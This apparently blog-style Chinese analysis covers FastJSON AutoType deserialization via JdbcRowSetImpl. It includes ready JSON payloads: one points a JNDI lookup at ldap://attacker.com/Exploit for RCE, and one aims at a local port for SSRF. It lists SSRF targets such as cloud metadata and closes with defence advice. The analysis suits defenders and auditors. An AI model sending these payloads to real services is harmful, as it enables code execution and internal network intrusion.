☣️ FastJSON × JdbcRowSetImpl 反序列化利用分析
📌 一、类简介:JdbcRowSetImpl
- 全类名:
com.sun.rowset.JdbcRowSetImpl
- JDK 自带类(Java 8–21+ 均内置)
- 原本用途:通过 JNDI 查询并连接数据库
⚠️ 二、危险行为分析:JNDI
在 Java 中,
setXxx()
形式的公开方法称为“setter 方法”,用于为私有字段赋值。
这个类的 setter 方法有“副作用”:
public void setDataSourceName(String dsName) throws SQLException {
this.dataSourceName = dsName;
this.connect(); // ⚠️ 自动调用 connect()
}
public void connect() throws SQLException {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(this.dataSourceName); // ⚠️ 发起 JNDI 请求
this.conn = ds.getConnection();
}
只要调用 setDataSourceName(...)
,就会触发 connect()
→ 自动发起 JNDI 请求。
🧬 三、FastJSON 如何触发它?
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
FastJSON 自动行为如下:
// 相当于底层操作
Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");
Object obj = clazz.getDeclaredConstructor().newInstance();
obj.setDataSourceName("ldap://attacker.com/Exploit"); // ⚠️ 触发 connect()
obj.setAutoCommit(true);
此行为是 FastJSON 在开启 AutoType 时的正常反序列化过程!
🧨 四、利用链可行性分析
✅ JDK ≤ 8u191
- 允许远程类加载
- 攻击者可通过 LDAP 服务器返回恶意类,JVM 会加载 → 实现 RCE(远程代码执行)
⚠️ JDK ≥ 8u191、JDK 11、JDK 17+
- 默认禁用远程类加载
- 虽然仍会触发
ctx.lookup(...)
,但不会加载远程字节码 - RCE 方式失效,但仍可利用….
💥 五、JDK 17+ 下仍可 SSRF!
即使无法加载远程类,但这条链 依然会请求 dataSourceName 所指地址,可用于:
- 🚰 SSRF:内网探测
- 🔐 HTTP 请求打内网 Web 应用
- 🔍 LDAP / Redis / Consul 端口扫描
- 📬 访问云服务 metadata等
✅ SSRF 示例 Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/internal-check", //也可改为HTTP探测端口与IP情况
"autoCommit": true
}
虽然 Exploit.class
不会被加载,但 请求会被发送到 127.0.0.1:1389,已构成 SSRF。
🔐 六、防御建议
建议 | 说明 |
---|---|
🚫 禁用 AutoType | FastJSON 最基本防线 |
✅ 升级 fastjson2 | 默认不支持 AutoType,设计更安全 |
🔒 使用白名单 | 通过 ParserConfig 明确指定允许的类 |
🔍 审计依赖 | 检查项目是否引用了 JNDI、JdbcRowSetImpl 等危险类 |
🧱 限制内网访问 | 给服务器设置 egress 出口访问控制,禁止随意对外连网 |
🧾 八、总结
项目 | 说明 |
---|---|
危险类 | com.sun.rowset.JdbcRowSetImpl (JDK 自带) |
触发点 | setDataSourceName(...) → 自动调用 connect() → 发起 JNDI 请求 |
FastJSON 利用 | 通过 @type 自动实例化 + setter 自动调用 |
JDK ≤ 8u191 | ✅ 可加载远程类,实现 RCE |
JDK ≥ 8u191 | ❌ 禁止远程类加载,RCE 失效 |
JDK 17+ | ✅ SSRF 依然可行 |
现实威胁 | 探测内网、打云服务 API、内网横向移动 |
具体流程
[JSON输入]
↓
FastJSON识别 @type
↓
加载 JdbcRowSetImpl 类
↓
调用 setDataSourceName("ldap://...")
↓
触发 connect() → JNDI.lookup()
↓
请求 ldap://attacker.com //或者SSRF的URL
↓
RCE(JDK ≤ 8u191)或 SSRF(JDK 17+)
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容